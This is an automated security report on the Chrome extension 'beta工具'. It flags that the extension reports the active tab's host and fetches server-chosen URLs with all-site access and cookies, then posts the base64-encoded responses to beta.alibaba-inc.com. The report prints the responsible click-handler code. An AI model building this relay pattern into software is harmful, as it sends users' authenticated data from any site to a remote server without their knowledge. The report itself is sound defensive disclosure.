Is beta工具 safe?

Medium risk

beta工具 sends the active tab's hostname to beta.alibaba-inc.com and runs server-specified requests with its all-sites access.

On each popup open the extension reports the current tab's host to beta.alibaba-inc.com and loads a tool configuration in return. When a button is clicked, it sends a request to a URL supplied by that configuration, using the extension's all-sites permission with the target's cookies attached. The response is encoded and posted back to beta.alibaba-inc.com.

suny.tsev2.2.51Chrome Web Store
51Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

beta tool fetches server-chosen URLs and posts the responses to alibaba-inc.com

Code analysis shows server-supplied URLs are fetched from the extension page with all-site access, and the base64-encoded responses are posted to beta.alibaba-inc.com.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You click a button in the beta tool popup.

The form was built from a response by beta.alibaba-inc.com.

The extension did this

The extension requests the URL the server specified and posts the reply back to the server.

The reply is base64-encoded and sent to beta.alibaba-inc.com/requirement.htm.

The code that does this

Click handler in beta/js/beta.js

Readable version

Same code; the file ships unminified

beta/js/beta.js
var url = betaHost + '/requirement.htm?pluginVersion=new&moduleId=' + moduleId;var preUrl = form.attr('pre-url');          // from {{onlineUrl}} in server JSONvar requestType = form.attr('pre-request-type'); // from {{requestType}}$.ajax({ url: preUrl, data: post_data, method: requestType, success: function(data){  postData(url + '&' + post_data, { data: encode64(utf16to8(data)) }, tabId, formId);}});
Values moving between the extension and beta.alibaba-inc.com
  • Active tab host
    app_name=mail.example.com

    Sent to the server on each popup open.

  • onlineUrl
    https://intranet.example.com/api/profile

    Target URL of the request; chosen by the server.

  • requestType
    GET

    HTTP method used for that request; chosen by the server.

  • Response body
    {"data":"eyJ1c2VyIjoi..."}

    Reply from the target, base64-encoded and posted back.

Destination of the relayed data
    • beta.alibaba-inc.com

    Supplies the form config and target URLs; receives the encoded responses.

Scope of this finding

The target URL is supplied by the server at runtime. We have not observed which URLs the server returns; the code permits any URL reachable under host permission.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 2.2.51. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Act on the current tab, but only after you click the extension

    activeTab

  • Run its own code inside the pages you visit

    scripting

  • Store data in your browser

    storage

  • Store an unlimited amount of data in your browser

    unlimitedStorage

Where it sends data

Destinations our analysis observed beta工具 contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • beta.alibaba-inc.com

    beta工具 sends data to beta.alibaba-inc.com. One other extension we have analysed sends data here.

Updated 15 October 2026aofjjdaabhdpgcehanpefphngeecodcn